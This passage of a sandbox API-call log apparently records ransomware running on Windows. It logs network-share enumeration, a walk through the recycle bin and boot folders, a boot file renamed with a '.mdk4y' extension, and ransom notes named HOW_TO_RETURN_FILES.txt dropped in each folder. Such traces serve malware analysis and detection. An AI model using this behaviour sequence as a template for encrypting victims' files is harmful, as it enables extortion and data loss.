hFile=0x68, lpBuffer=0x37cff4*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x37cfec, lpOverlapped=0x0 | out: lpBuffer=0x37cff4*, lpNumberOfBytesWritten=0x37cfec*=0x11, lpOverlapped=0x0) returned 1 [0064.114] GetLastError () returned 0x103 [0064.114] SetLastError (dwErrCode=0x103) [0064.114] WNetOpenEnumA (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x6a6910, lphEnum=0x37e5a8 | out: lphEnum=0x37e5a8*=0x2) returned 0x4b8 [0076.431] GetLastError () returned 0x4b8 [0076.431] SetLastError (dwErrCode=0x4b8) [0076.431] GetLastError () returned 0x4b8 [0076.431] SetLastError (dwErrCode=0x4b8) [0076.431] WriteFile (in: hFile=0x68, lpBuffer=0x37cff4*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x37cfec, lpOverlapped=0x0 | out: lpBuffer=0x37cff4*, lpNumberOfBytesWritten=0x37cfec*=0x11, lpOverlapped=0x0) returned 1 [0076.431] GetLastError () returned 0x4b8 [0076.431] SetLastError (dwErrCode=0x4b8) [0076.432] WNetOpenEnumA (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x6a6b90, lphEnum=0x37e5a8 | out: lphEnum=0x37e5a8*=0x2) returned 0x4c6 [0076.434] GetLastError () returned 0x4c6 [0076.434] SetLastError (dwErrCode=0x4c6) [0076.434] GetLastError () returned 0x4c6 [0076.434] SetLastError (dwErrCode=0x4c6) [0076.434] WriteFile (in: hFile=0x68, lpBuffer=0x37cff4*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x37cfec, lpOverlapped=0x0 | out: lpBuffer=0x37cff4*, lpNumberOfBytesWritten=0x37cfec*=0x11, lpOverlapped=0x0) returned 1 [0076.434] GetLastError () returned 0x4c6 [0076.434] SetLastError (dwErrCode=0x4c6) [0076.434] WNetCloseEnum (hEnum=0x6a51c8) returned 0x0 [0076.434] GetLastError () returned 0x4c6 [0076.434] SetLastError (dwErrCode=0x4c6) [0076.434] GetLastError () returned 0x4c6 [0076.434] SetLastError (dwErrCode=0x4c6) [0076.434] WriteFile (in: hFile=0x68, lpBuffer=0x37d07c*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x37d074, lpOverlapped=0x0 | out: lpBuffer=0x37d07c*, lpNumberOfBytesWritten=0x37d074*=0x11, lpOverlapped=0x0) returned 1 [0076.435] GetLastError () returned 0x4c6 [0076.435] SetLastError (dwErrCode=0x4c6) [0076.435] GetLastError () returned 0x4c6 [0076.435] SetLastError (dwErrCode=0x4c6) [0076.435] GetLastError () returned 0x4c6 [0076.435] SetLastError (dwErrCode=0x4c6) [0076.435] WriteFile (in: hFile=0x68, lpBuffer=0x37ccd4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x37cccc, lpOverlapped=0x0 | out: lpBuffer=0x37ccd4*, lpNumberOfBytesWritten=0x37cccc*=0x10, lpOverlapped=0x0) returned 1 [0076.435] GetLastError () returned 0x4c6 [0076.435] SetLastError (dwErrCode=0x4c6) [0076.435] GetLogicalDriveStringsA (in: nBufferLength=0x400, lpBuffer=0x37e254 | out: lpBuffer="C:\\") returned 0x4 [0076.435] GetLastError () returned 0x4c6 [0076.435] SetLastError (dwErrCode=0x4c6) [0076.435] GetLastError () returned 0x4c6 [0076.435] SetLastError (dwErrCode=0x4c6) [0076.436] GetLastError () returned 0x4c6 [0076.436] SetLastError (dwErrCode=0x4c6) [0076.436] WriteFile (in: hFile=0x68, lpBuffer=0x37ccd4*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37cccc, lpOverlapped=0x0 | out: lpBuffer=0x37ccd4*, lpNumberOfBytesWritten=0x37cccc*=0x8, lpOverlapped=0x0) returned 1 [0076.436] GetLastError () returned 0x4c6 [0076.436] SetLastError (dwErrCode=0x4c6) [0076.436] AreFileApisANSI () returned 1 [0076.436] GetACP () returned 0x4e4 [0076.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e228, cbMultiByte=3, lpWideCharStr=0x37df9c, cchWideChar=260 | out: lpWideCharStr="C:\\") returned 3 [0076.436] AreFileApisANSI () returned 1 [0076.436] GetACP () returned 0x4e4 [0076.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$Recycle.Bin", cchWideChar=12, lpMultiByteStr=0x6a51dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e17c | out: lpMultiByteStr="$Recycle.Bin Rj", lpUsedDefaultChar=0x37e17c) returned 12 [0076.436] AreFileApisANSI () returned 1 [0076.436] GetACP () returned 0x4e4 [0076.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a6b40, cbMultiByte=16, lpWideCharStr=0x37df10, cchWideChar=260 | out: lpWideCharStr="C:\\$Recycle.Bin\\7潠j\x02") returned 16 [0076.437] AreFileApisANSI () returned 1 [0076.437] GetACP () returned 0x4e4 [0076.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37e0f0) returned 1 [0076.437] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a7608 | out: lpFindFileData=0x6a7608) returned 1 [0076.437] AreFileApisANSI () returned 1 [0076.437] GetACP () returned 0x4e4 [0076.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="..", lpUsedDefaultChar=0x37e0f0) returned 2 [0076.437] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a7608 | out: lpFindFileData=0x6a7608) returned 1 [0076.437] AreFileApisANSI () returned 1 [0076.437] GetACP () returned 0x4e4 [0076.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000", cchWideChar=46, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000", lpUsedDefaultChar=0x37e0f0) returned 46 [0076.437] AreFileApisANSI () returned 1 [0076.437] GetACP () returned 0x4e4 [0076.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\ĺ\x1f") returned 63 [0076.437] AreFileApisANSI () returned 1 [0076.437] GetACP () returned 0x4e4 [0076.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37e064) returned 1 [0076.437] FindNextFileW (in: hFindFile=0x6ab250, lpFindFileData=0x6a8a98 | out: lpFindFileData=0x6a8a98) returned 1 [0076.437] AreFileApisANSI () returned 1 [0076.438] GetACP () returned 0x4e4 [0076.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..", lpUsedDefaultChar=0x37e064) returned 2 [0076.438] FindNextFileW (in: hFindFile=0x6ab250, lpFindFileData=0x6a8a98 | out: lpFindFileData=0x6a8a98) returned 1 [0076.438] AreFileApisANSI () returned 1 [0076.438] GetACP () returned 0x4e4 [0076.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x37e064) returned 11 [0076.438] FindNextFileW (in: hFindFile=0x6ab250, lpFindFileData=0x6a8a98 | out: lpFindFileData=0x6a8a98) returned 0 [0076.438] FindClose (in: hFindFile=0x6ab250 | out: hFindFile=0x6ab250) returned 1 [0076.438] AreFileApisANSI () returned 1 [0076.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ae1a0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0076.438] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.439] GetFileType (hFile=0x124) returned 0x1 [0076.441] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a7608 | out: lpFindFileData=0x6a7608) returned 0 [0076.441] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.441] AreFileApisANSI () returned 1 [0076.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 40 [0076.441] CreateFileW (lpFileName="C:\\$Recycle.Bin\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\$recycle.bin\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37de28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0076.442] GetFileType (hFile=0x120) returned 0x1 [0076.443] FindNextFileW (in: hFindFile=0x6ab190, lpFindFileData=0x6a7180 | out: lpFindFileData=0x6a7180) returned 1 [0076.443] AreFileApisANSI () returned 1 [0076.443] GetACP () returned 0x4e4 [0076.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Boot", cchWideChar=4, lpMultiByteStr=0x6a51dc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e17c | out: lpMultiByteStr="Bootycle.Bin", lpUsedDefaultChar=0x37e17c) returned 4 [0076.443] AreFileApisANSI () returned 1 [0076.443] GetACP () returned 0x4e4 [0076.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e19c, cbMultiByte=8, lpWideCharStr=0x37df10, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\") returned 8 [0076.443] AreFileApisANSI () returned 1 [0076.443] GetACP () returned 0x4e4 [0076.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 1 [0076.443] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.443] AreFileApisANSI () returned 1 [0076.443] GetACP () returned 0x4e4 [0076.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 2 [0076.443] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.443] AreFileApisANSI () returned 1 [0076.443] GetACP () returned 0x4e4 [0076.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCD", cchWideChar=3, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="BCDYf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 3 [0076.443] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.443] AreFileApisANSI () returned 1 [0076.443] GetACP () returned 0x4e4 [0076.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCD.LOG", cchWideChar=7, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="BCD.LOGxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 7 [0076.443] CreateFileA (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.443] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.443] AreFileApisANSI () returned 1 [0076.443] GetACP () returned 0x4e4 [0076.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCD.LOG1", cchWideChar=8, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="BCD.LOG1AotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 8 [0076.444] CreateFileA (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x124 [0076.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37e088 | out: lpPerformanceCount=0x37e088*=1815167400000) returned 1 [0076.452] ReadFile (in: hFile=0x124, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37e0f0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37e0f0*=0x0, lpOverlapped=0x0) returned 1 [0076.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37e088 | out: lpPerformanceCount=0x37e088*=1815169100000) returned 1 [0076.462] CloseHandle (hObject=0x124) returned 1 [0076.462] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.462] AreFileApisANSI () returned 1 [0076.462] GetACP () returned 0x4e4 [0076.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCD.LOG2", cchWideChar=8, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="BCD.LOG2", lpUsedDefaultChar=0x37e0f0) returned 8 [0076.462] CreateFileA (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x124 [0076.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37e088 | out: lpPerformanceCount=0x37e088*=1815169200000) returned 1 [0076.462] ReadFile (in: hFile=0x124, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37e0f0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37e0f0*=0x0, lpOverlapped=0x0) returned 1 [0076.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37e088 | out: lpPerformanceCount=0x37e088*=1815169200000) returned 1 [0076.462] CloseHandle (hObject=0x124) returned 1 [0076.462] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.462] AreFileApisANSI () returned 1 [0076.462] GetACP () returned 0x4e4 [0076.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BOOTSTAT.DAT", cchWideChar=12, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="BOOTSTAT.DATfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 12 [0076.463] CreateFileA (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x124 [0076.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37e088 | out: lpPerformanceCount=0x37e088*=1815169300000) returned 1 [0076.463] ReadFile (in: hFile=0x124, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37e0f0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37e0f0*=0x10000, lpOverlapped=0x0) returned 1 [0076.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37e088 | out: lpPerformanceCount=0x37e088*=1815169500000) returned 1 [0076.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37e088 | out: lpPerformanceCount=0x37e088*=1815169500000) returned 1 [0076.470] MoveFileA (lpExistingFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="C:\\Boot\\BOOTSTAT.DAT.mdk4y" (normalized: "c:\\boot\\bootstat.dat.mdk4y")) returned 1 [0076.470] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.470] AreFileApisANSI () returned 1 [0076.470] GetACP () returned 0x4e4 [0076.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="cs-CZ", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="cs-CZTAT.DAT", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.470] AreFileApisANSI () returned 1 [0076.471] GetACP () returned 0x4e4 [0076.471] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\cs-CZ\\") returned 14 [0076.471] AreFileApisANSI () returned 1 [0076.471] GetACP () returned 0x4e4 [0076.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37e064) returned 1 [0076.471] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.471] AreFileApisANSI () returned 1 [0076.471] GetACP () returned 0x4e4 [0076.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..", lpUsedDefaultChar=0x37e064) returned 2 [0076.471] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.471] AreFileApisANSI () returned 1 [0076.471] GetACP () returned 0x4e4 [0076.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x37e064) returned 15 [0076.471] CreateFileA (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.471] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 0 [0076.471] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.472] AreFileApisANSI () returned 1 [0076.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.472] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\cs-cz\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.472] GetFileType (hFile=0x124) returned 0x1 [0076.473] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.473] AreFileApisANSI () returned 1 [0076.473] GetACP () returned 0x4e4 [0076.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="da-DK", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="da-DK", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.473] AreFileApisANSI () returned 1 [0076.473] GetACP () returned 0x4e4 [0076.473] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\da-DK\\䔠i7ൿł\x04") returned 14 [0076.473] AreFileApisANSI () returned 1 [0076.473] GetACP () returned 0x4e4 [0076.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.473] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.473] AreFileApisANSI () returned 1 [0076.474] GetACP () returned 0x4e4 [0076.474] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.474] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.474] AreFileApisANSI () returned 1 [0076.474] GetACP () returned 0x4e4 [0076.474] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="bootmgr.exe.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 15 [0076.474] CreateFileA (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0076.475] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 0 [0076.475] FindClose (in: hFindFile=0x6ab210 | out: hFindFile=0x6ab210) returned 1 [0076.475] AreFileApisANSI () returned 1 [0076.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699928, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0076.475] CreateFileW (lpFileName="C:\\Boot\\da-DK\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\boot\\da-dk\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0076.475] GetFileType (hFile=0x124) returned 0x1 [0076.476] FindNextFileW (in: hFindFile=0x6ab1d0, lpFindFileData=0x6a8610 | out: lpFindFileData=0x6a8610) returned 1 [0076.476] AreFileApisANSI () returned 1 [0076.476] GetACP () returned 0x4e4 [0076.476] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="de-DE", cchWideChar=5, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="de-DE", lpUsedDefaultChar=0x37e0f0) returned 5 [0076.477] AreFileApisANSI () returned 1 [0076.477] GetACP () returned 0x4e4 [0076.477] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x37e110, cbMultiByte=14, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Boot\\de-DE\\䔠i7ൿł\x04") returned 14 [0076.477] AreFileApisANSI () returned 1 [0076.477] GetACP () returned 0x4e4 [0076.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0076.477] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.477] AreFileApisANSI () returned 1 [0076.477] GetACP () returned 0x4e4 [0076.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0076.477] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9aa0 | out: lpFindFileData=0x6a9aa0) returned 1 [0076.477] AreFileApisANSI () returned 1 [0076.477] GetACP () returned 0x4e4 [0076.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: 